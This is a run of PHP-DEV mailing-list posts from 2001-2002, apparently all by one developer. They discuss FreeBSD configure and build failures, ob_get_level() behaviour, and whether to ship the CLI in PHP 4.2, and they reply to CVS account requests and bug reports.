Hi, I get a bunch of ./configure warnings in current HEAD. System is FreeBSD 4.4-RELEASE. Autoconf is 2.53 The ./configure line is simply ./configure. configure: WARNING: resolv.h: present but cannot be compiled configure: WARNING: resolv.h: check for missing prerequisite headers? configure: WARNING: resolv.h: proceeding with the preprocessor's result configure: WARNING: sys/mount.h: present but cannot be compiled configure: WARNING: sys/mount.h: check for missing prerequisite headers? configure: WARNING: sys/mount.h: proceeding with the preprocessor's result configure: WARNING: sgtty.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: sgtty.h: proceeding with the preprocessor's result configure: WARNING: sys/ioctl.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: sys/ioctl.h: proceeding with the preprocessor's result configure: WARNING: float.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: float.h: proceeding with the preprocessor's result configure: WARNING: floatingpoint.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: floatingpoint.h: proceeding with the preprocessor's result configure: WARNING: stddef.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: stddef.h: proceeding with the preprocessor's result configure: WARNING: sys/timeb.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: sys/timeb.h: proceeding with the preprocessor's result configure: WARNING: sys/un.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: sys/un.h: proceeding with the preprocessor's result configure: WARNING: term.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: term.h: proceeding with the preprocessor's result configure: WARNING: termios.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: termios.h: proceeding with the preprocessor's result configure: WARNING: sched.h: accepted by the compiler, rejected by the preprocessor! configure: WARNING: sched.h: proceeding with the preprocessor's result make gives me one warning /mnt/data/cvs/php4/ext/mysql/libmysql/my_tempnam.c(.text+0x46): warning: tempnam() possibly used unsafely; consider using mkstemp() Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] SSL_CLIENT
Hi, On Thu, 28 Mar 2002 10:58:14 +0100 LUNAR [EMAIL PROTECTED] wrote: Can anyone tell me how can I check the following values in PHP? The following is a PERL transcription: this mailinglist is about the development _of_ PHP not _with_ PHP. Please ask such questions on [EMAIL PROTECTED] Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CVS Account Request: qwewqe
Hi, On 26 Mar 2002 15:16:08 - 12312 [EMAIL PROTECTED] wrote: adqwe I am sorry, we already have a whole bunch of people working on that topic. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: ob_get_level
Hi, On Sun, 24 Mar 2002 19:29:07 -0500 Yasuo Ohgaki [EMAIL PROTECTED] wrote: I guess you are writing test scripts, right? bingo ;) There are cases you need to consider. If you enable output_buffer ob_get_level() == 1 If you enable zlib.output_compression ob_get_level() == 2 If you enalbe zlib.output_compression and trans-sid is active ob_get_level() == 3 ob_start() increment buffer level by 1. So if you are writing test script, you probably want to get diff of level before and after ob_start(). then PHP_4_2_0 is broken for this case. My test script for this issue: ?php echo ini_get('session.use_trans_sid'); echo ini_get('zlib.output_compression'); echo ob_get_level(); ob_start(); echo ob_get_level(); echo \n; ? ini-settingsoutput session.use_trans_sid = 0, zlib.output_compression = Off -012 # right, the echo ini_get('zlib.output_compression'); does not output anything session.use_trans_sid = 1, zlib.output_compression = Off -112 session.use_trans_sid = 1, zlib.output_compression = On -112 session.use_trans_sid = 0, zlib.output_compression = On -112 I hope I don't miss something. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: ob_get_level
Hi, On Mon, 25 Mar 2002 05:02:38 -0500 Yasuo Ohgaki [EMAIL PROTECTED] wrote: trans sid buffer is registered at level 1. even if session.use_trans_sid = 0 ? This makes result wrong and trans sid does not work :( IIRC, there is a bug report from user that trans sid does not work when zlib.output compression is enabled. (I forgot about the bug when I wrote previous mail) from my tests zlib.output_compression does not affect the ob level at all. So your result is right. PHP is not working right :) what now? derick? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: ob_get_level
Hi, On Mon, 25 Mar 2002 06:53:15 -0500 Yasuo Ohgaki [EMAIL PROTECTED] wrote: even if session.use_trans_sid = 0 ? No. Session module registers buffer when trans sid is active. session.use_trans_sid=1 does not mean there is trans sid buffer. huh? session.use_trans_sid = 1 enables trans sid, so the session module should register a buffer; for session.use_trans_sid = 0 it should not. What am I missing? Did you try with web server SAPI? (i.e. other than CLI, CGI SAPI) Anyway, if zlib.output_compression=On and ob_get_level() does not return more than 2, otuput compression is not enabled. not yet. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CLI max_execution_time
Hi, On Mon, 25 Mar 2002 12:56:21 +0100 (CET) [EMAIL PROTECTED] wrote: I agree it should be done right the first time, but for me the release plan is fixed. ANother possibility is to take the CLI out of 4.2.0, but I think that will only cause more problems. +1 for removing cli from 4.2. It is quite impossible to provide QA for something that does not have a defined expected behaviour. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CLI max_execution_time
Hi, On Mon, 25 Mar 2002 15:36:38 +0100 (CET) [EMAIL PROTECTED] wrote: And what if we disable the CLI by default for 4.2.0 and make a switch --enable-cli to enable building of the CLI. This makes it more clear that it's still experimental. In 4.3.0 we simply change the default to always build the CLI. ok, then +1 on that. It seems to be a fair compromise. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CLI max_execution_time
Hi, On Mon, 25 Mar 2002 16:21:58 +0100 Edin Kadribasic [EMAIL PROTECTED] wrote: You cannot make that happen overnight. Thus the evolutionary appoach. Do you know that the changes to the build system so that stand alone php binary was always built was added to PHP4 TODO list on April 28, 2000 (that's before 4.0.0 was released)? that does not allow us release unthought things as stable. I hope we can agree on the --disable-cli approach for 4.2 and fully integrate CLI into 4.3. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ext/dio broken
Hi, ext/dio in PHP_4_2_0 does not build. I attached a diff which fixes it. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ dio.c.patch Description: Binary data -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] ob_get_level
Hi, is ob_get_level() supposed to return 2 after the first ob_start 3 after the second ...? jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] dio is broken
Hi, on FreeBSD 4.4 I get these errors when building PHP_4_2_0 --enable-dio. Making all in dio gcc -I. -I/mnt/data/cvs/php_4_2_0/ext/dio -I/mnt/data/cvs/php_4_2_0/main -I/mnt/data/cvs/php_4_2_0 -I/mnt/data/cvs/php_4_2_0/Zend -I/usr/local/include/libxml2 -I/mnt/data/cvs/php_4_2_0/ext/mysql/libmysql -I/mnt/data/cvs/php_4_2_0/ext/xml/expat -I/usr/local/include -I/mnt/data/cvs/php_4_2_0/TSRM -g -O2 -c dio.c touch dio.lo dio.c: In function `zm_startup_dio': dio.c:90: `O_SYNC' undeclared (first use in this function) dio.c:90: (Each undeclared identifier is reported only once dio.c:90: for each function it appears in.) *** Error code 1 Stop in /mnt/data/cvs/php_4_2_0/ext/dio. *** Error code 1 Stop in /mnt/data/cvs/php_4_2_0/ext/dio. *** Error code 1 Stop in /mnt/data/cvs/php_4_2_0/ext. *** Error code 1 Stop in /mnt/data/cvs/php_4_2_0. jan@reifen /mnt/data/cvs/php_4_2_0 Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] cvs: ext/baby
Hi, On Wed, 6 Mar 2002 18:21:49 -0800 (PST) Rasmus Lerdorf [EMAIL PROTECTED] wrote: congratulations to all the Lerdorfs. @@ -1,2 +1,6 @@ Christine Lerdorf Rasmus Lerdorf +Buster (working name only) Lerdorf +Born 13:26 PDT Wednesday March 6, 2002 +Weight: 9.0 pounds +Length: 19.25 inches Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CVS Account Request: morpehous
Hi, On 3 Mar 2002 15:03:00 - Vildan Hasanbegovic [EMAIL PROTECTED] wrote: I have a second year student in Science in Software Engineering and writing in PHP on the daily basis. congratualtions ;) and what for do you need a CVS account? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CVS Account Request: gozner
Hi, On 1 Mar 2002 22:39:05 - Julio Cesar Torres [EMAIL PROTECTED] wrote: Learning no need to apply for a cvs account here. check http://www.php.net/manual/ Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] [Fwd: [PHP-CVS] cvs: php4 /ext/mcve mcve.c]
Hi, On Thu, 28 Feb 2002 17:48:57 +0100 Sebastian Bergmann [EMAIL PROTECTED] wrote: Next, we heavily support the MacOS X community, but last I checked, PEAR wouldn't even compile on OS X, so this would inhibit OS X users from using our module. PEAR is a repository, it is not supposed to compile. If there are installation problems, please open a bug report on http://bugs.php.net/ Last, what exactly is PEAR / PECL ? I can't find anyone to give me a good explaination ... Most people don't know it's actual purpose, and people that seem to know, say it isn't organized/finalized http://pear.php.net/ Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] How long does the entire test suite take to run?
Hi, On Tue, 26 Feb 2002 23:05:14 -0700 Venkat Raghavan [EMAIL PROTECTED] wrote: It seems to be running for nearly an hour now. Or is something wrong? it sounds strange, but it may take so long on an extreme slow machine. what hardware are you on? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] install.txt in Win32 distro
Hi, On Sun, 24 Feb 2002 14:30:31 +0200 Andrey Hristov [EMAIL PROTECTED] wrote: Can someone karma gifted change a text in install.txt in the Win32 distro? The current text is : Installation on Windows 9x/Me/NT/2000 systems The new text : Installation on Windows 9x/Me/NT/2000/XP systems I have not enough karma as well, but a nice patchie ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ install.txt.patch Description: Binary data -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] makedist changes
Hi, I fixed the makedist script to be run on FreeBSD. bison -V has a different output here than on linux. Additionally I changed the Zend and TSRM repositorys to cvs.php.net to reflect the recent changes. Since I could not test this on Linux and have not enough karma, can someone review and commit it? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ makedist.patch Description: Binary data -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] PHP Executable
Hi, On Tue, 19 Feb 2002 14:31:44 -0300 Martín Marqués [EMAIL PROTECTED] wrote: It would be a relief for my, just cause I have to come twice each time I upgrade PHP (I have a bunch of PHP script that run on cron, or command line). the cli (commandlineinterface) binary is already build everytime (except for --without-cli ./configure option). This is available in the current CVS and will be part of the next PHP release. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] webjames
Hi, On Mon, 18 Feb 2002 10:59:35 + (GMT) Alex Waugh [EMAIL PROTECTED] wrote: I definately committed it: strange, the message has not reached me. Bug or feature? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CVS Account Request: hifeel
Hi, On 18 Feb 2002 08:14:15 - Jaesung Ko [EMAIL PROTECTED] wrote: study you do not need a CVS for that. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] webjames
Hi, On Sun, 17 Feb 2002 12:59:12 + (GMT) Alex Waugh [EMAIL PROTECTED] wrote: It would be great if you could modify your code to use the new TSRM macros instead so that we can drop those macros, which no other section of PHP uses, for PHP 5 / Zend Engine 2. Updated. personally, I am missing a cvs commit ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: Bug #15523: Line Number
Hi, On Tue, 12 Feb 2002 16:22:47 +0100 Tobias Schenck [EMAIL PROTECTED] wrote: Would you please be so kind to close the Bug-Report? please be so kind and use the webinterface, when commenting on bugs to users, next time ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Re: Bug #15523 Updated: Line Number
Hi, On Tue, 12 Feb 2002 16:45:09 +0100 Stefan Esser [EMAIL PROTECTED] wrote: __LINE__ contains the current line number, not the callers linenumber, so its neither closed, nor bogus. function foo($line) { echo 'the function was called in line: '.$line } foo(__LINE__); hm? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] PHP SRM extension
Hi, On Sun, 10 Feb 2002 15:50:34 +0100 (CET) Derick Rethans [EMAIL PROTECTED] wrote: the PHP SRM extension (module php_srm) has been moved from cvs.vl-srm.net to cvs.php.net under php4/ext/srm. The SAPI module and Daemon will remain on cvs.vl-srm.net. isn't PEAR/PECL more suitable? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] CVS Account Request: softcureinc
Hi, On 10 Feb 2002 18:16:01 - softcureinc [EMAIL PROTECTED] wrote: Learning you do not nead a CVS account for learning PHP or the development of PHP Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Keyword proposal: in
Hi, On Wed, 6 Feb 2002 17:25:15 +0100 Alex Kiesel [EMAIL PROTECTED] wrote: Well, at least I find it quite elegant. :) it is indeed, but it does not represent the PHP-way-of-handling [tm] things. If we have in, we also can have $foo = [0..99] as a shorthand notation for arrays. just my 0.02 EUR Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Patch: Build V5, Rel 0.01
Hi, On Mon, 4 Feb 2002 19:42:56 +0100 (CET) Sascha Schumann [EMAIL PROTECTED] wrote: I'd ask you to run a simple ./configure on your platform of choice (!= x86 Linux), a make and let me know where it breaks, so I can fix it up. works fine on FreeBSD 4.4-Release. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] FOSDEM
Hi, On Sun, 3 Feb 2002 13:02:52 +0100 (CET) Derick Rethans [EMAIL PROTECTED] wrote: On Sun, 3 Feb 2002, Hellekin O. Wolf wrote: James Cox, Sterling, Hartmut, Sebastian, Harald, (Peter Petermann) and me are coming. aolme too/aol ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] Re: [PHP-DOC] Bug #15354: errr
Hi, On 3 Feb 2002 14:11:35 - [EMAIL PROTECTED] wrote: From: [EMAIL PROTECTED] Operating system: Linux PHP version: 4.1.1 PHP Bug Type: Documentation problem Bug description: errr libphp4.a doen't exist in src/modules/php4/libphp4.a but libmodphp4.a exist, we cannot compile apache 1.3.19... -- Edit bug report at: http://bugs.php.net/?id=15354edit=1 Fixed in CVS : http://bugs.php.net/fix.php?id=15354r= Fixed in release : http://bugs.php.net/fix.php?id=15354r= Need backtrace : http://bugs.php.net/fix.php?id=15354r= Try newer version : http://bugs.php.net/fix.php?id=15354r= Not developer issue: http://bugs.php.net/fix.php?id=15354r= Expected behavior : http://bugs.php.net/fix.php?id=15354r= Not enough info: http://bugs.php.net/fix.php?id=15354r= ^^ isn't there anything missing? ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] unable to 'make'
Hi, regardless if I use a current CVS or the latest snapshot from snaps.php.net, my 'make' stops with this: gcc -I. -I/mnt/data/cvs/php4/ext/standard -I/mnt/data/cvs/php4/main -I/mnt/data/cvs/php4 -I/mnt/data/cvs/php4/Zend -I/usr/local/include/libxml2 -I/mnt/data/cvs/php4/ext/mysql/libmysql -I/mnt/data/cvs/php4/ext/xml/expat -I/usr/local/include -I/mnt/data/cvs/php4/TSRM -g -O2 -c var_unserializer.c touch var_unserializer.lo /usr/src/web/php/php4/ext/standard/var_unserializer.re:1: php.h: Permission denied /usr/src/web/php/php4/ext/standard/var_unserializer.re:2: ext/standard/php_var.h: Permission denied /usr/src/web/php/php4/ext/standard/var_unserializer.re:3: php_incomplete_class.h: Permission denied the executing user is the owner of these files and read permissions are set properly. the corresponding lines in var_unserializer.re are #include file statements. I cannot imagine what is wrong here. With the root user it compiles fine. I am running FreeBSD 4.4 Release. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Build failure on BSD (current cvs)
Hi, On Fri, 1 Feb 2002 09:28:31 - James Cox [EMAIL PROTECTED] wrote: Is it just me having a really shitty day, or has anyone else noticed that current CVS fails on BSD? yep. FreeBSD 4.4-Release. remaining this for the qa people (I put a CC to php-qa) Athena:~/packages/php4# make Making all in Zend /bin/sh ../libtool --silent --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I../main-DUSE_EXPAT -I../TSRM -g -O2 -pref er-pic -c -o zend_language_parser.lo `test -f zend_language_parser.c || echo './'`zend_language_parser.c In file included from zend.h:180, from zend_compile.h:24, from ./zend_language_parser.y:31: zend_hash.h:119: syntax error before `va_list' In file included from zend.h:181, from zend_compile.h:24, from ./zend_language_parser.y:31: zend_llist.h:34: syntax error before `va_list' In file included from zend_compile.h:24, from ./zend_language_parser.y:31: zend.h:263: syntax error before `va_list' zend.h:394: syntax error before `va_list' *** Error code 1 Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] HTTP Response Headers using iPlanet
Hi, On Mon, 28 Jan 2002 18:12:43 -0200 Alexandre Ferreira Novello [EMAIL PROTECTED] wrote: How can I retrieve the HTTP Response Headers using iPlanet or a idependent SAPI function? For example, supose there is a function called response_header() this kind of question is to be asked on php-general. this list is about developing PHP not with PHP. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] bug reports
Hi, On 24 Jan 2002 12:46:20 +0100 Robin Ericsson [EMAIL PROTECTED] wrote: I'm pretty sure some of the bugs reported for earlier versions of php are fixed in 4.1.1 --- http://bugs.php.net/how-to-report.php --- [...] Don't report bugs about old versions. Every time a new version of PHP is released, hundreds of bugs are fixed. If you're using a version of PHP that is more than two revisions older than the latest version, you should upgrade to the latest version to make sure the bug you are experiencing still exists. [...] Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Re: Feature Suggestion
Hi, On Sat, 19 Jan 2002 03:52:53 +0100 Markus Fischer [EMAIL PROTECTED] wrote: -1 on that one. This would considerable break BC. We have range() already. I don't see any benefit just to safe some characters. Any sharing this? functions like range() are the PHP-Way how to handle things. $bfoo=['a'..'z']; would not be PHP. -1 Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Preview of PHP 5
Hi, On Fri, 18 Jan 2002 18:18:26 +0200 (IST) Andi Gutmans [EMAIL PROTECTED] wrote: I agree. I think alpha is better. what about pre-alpha to make things re-al-ly clear? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] predeclared classes
Hi, I am going to add a manual section about predeclared classes. According to http://php.net/manual/de/function.get-declared-classes.php there three of them. Can these be used in userspace? What is ther purpose? Directory for the dir() funcion is obvious, but the other ones? Can a developer give a statement on that? Thank You. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] DOM XML: xmlReplaceNode()
Hi, On Fri, 11 Jan 2002 00:57:52 +0100 Jaroslaw Kolakowski [EMAIL PROTECTED] wrote: What do you think about adding a function domxml_node_replace_node(), that would be a wrapper for xmlReplaceNode() function from libxml? As far as I am concerned, there is no easy way to replace a node using existing functions without rewriting the whole document tree. can you open a feature request on bugs.php.net ? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Bugreport?
Hi, On Fri, 11 Jan 2002 01:16:05 +0100 Mark [EMAIL PROTECTED] wrote: Seems like either a bug, or a sysadmin (me) who is an idiot because it's 1.14am. can you please open a bug report at bugs.php.net with detailed information on your environment Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Building standalone executable and apache module at the same time
Hi, On 09 Jan 2002 12:27:02 -0500 Peter Bowen [EMAIL PROTECTED] wrote: I'm working on a PHP RPM, and have run into the problem that I need both a php exectable, and an apache module in the package. My current solution is to run configure and make twice. While this works, I was hoping to find a better solution. Is there any way to get the build system to create both using only one configure/compile? not for now, but the techies (keep up the good work ;) are working on that. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Bug #14663 Updated: Empty packets as result of serialization
Hi, On Sat, 22 Dec 2001 22:36:17 +0100 Markus Fischer [EMAIL PROTECTED] wrote: On Sat, Dec 22, 2001 at 09:22:10PM -, [EMAIL PROTECTED] wrote : the manual page is marked as EXPERIMENTAL. so waiting for the extension to become stable wil be the best. fixing the example now just to change it again tomorrow is useless. IMHO this can be removed. The whole interface has just been rewritte so it mimics BSD sockets. What else should come now? :) hum, you go on and write a new documentation? ;) Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] BC problem
Hi, On Thu, 29 Nov 2001 12:49:19 +0100 Markus Fischer [EMAIL PROTECTED] wrote: On Thu, Nov 29, 2001 at 01:16:02PM +0200, Zeev Suraski wrote : Can you verify that this problem is gone in the latest CVS of PHP_4_0_7 (make sure you update the Zend directory) Yes, it seems to work: $ ~/isrc/cvs/test/php4/php -v 4.1.0 $ ~/isrc/cvs/test/php4/php -f include_it.php 1br 2br returningbr 3br I just hope I did the checkout the right way? cvs -d :pserver:[EMAIL PROTECTED]:/repository co -r PHP_4_0_7 php4 cd php4 cvs -d :pserver:[EMAIL PROTECTED]:/repository co -r PHP_4_0_7 Zend cvs -d :pserver:[EMAIL PROTECTED]:/repository co -r PHP_4_0_7 TSRM Someone else better test this too. I've got the same results on FreeBSD 4.2-STABLE with the PHP_4_0_7 branch. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Re: [PHP-QA] Re: File Uploads in the PHP 4.2.0
Hi, On Thu, 22 Nov 2001 02:06:54 -0700 Zak Greant [EMAIL PROTECTED] wrote: Users running Linux-like operating systems should download the snapshot from snaps.php.net that is dated [???], and then build and install it. isn't php4-latest on snaps.php.net the most dated version ? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Return values from include/require (Was: Re: [PHP-DEV] Bug #14165 Updated: No way to return variables from remote include())
Hi, On Thu, 22 Nov 2001 00:12:40 +0100 Markus Fischer [EMAIL PROTECTED] wrote: This was tested with RC3 and CVS on debian linux (also on two different machines). However, when I asked someone else he reported that 'require' on freebsd also returned int(1). markus, i have to correct you ;) require_once retunrs int(1). require returns NULL. Both on FreeBSD 4.2-stable, php-4.1.0RC3 and markus' files Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] set_time_limit() bug - pending for PHP 4.1.0
Hi, On Sun, 18 Nov 2001 13:19:29 +0100 (CET) Derick Rethans [EMAIL PROTECTED] wrote: On Sun, 18 Nov 2001, Sander Roobol wrote: Reproducing this bug on Linux is hard. On Windows, it's very easy. On Linux, you should repeatedly load both the first and the second script. Reproducing under Linux was very easy for me, I just set the following things in httpd.conf: MinSpareServers 1 MaxSpareServers 1 StartServers 1 And voila, reproduced. SO this is a real problem, and need to be addressed before release. Reproducable on FreeBSD 4.2-Stable apache 1.13.14 and php 4.1-RC2 'configure' '--with-apxs=/usr/local/sbin/apxs' '--with-config-file-path=/usr/local/etc' '--enable-versioning' '--with-system-regex' '--disable-debug' '--enable-track-vars' '--without-gd' '--disable-pear' '--without-mysql' '--with-zlib' '--with-imap=/usr/local' '--with-mysql=/usr/local' '--with-xml=/usr/local' '--enable-bcmath' '--enable-sockets' '--enable-sysvsem' '--enable-sysvshm' '--prefix=/usr/local' 'i386--freebsd4.2' zeev: see http://bugs.php.net/bug.php?id=13711 . Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Karma request
Hi, can someone extend my karma to php4/pear. I'd like to help out in this area as well. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Karma request
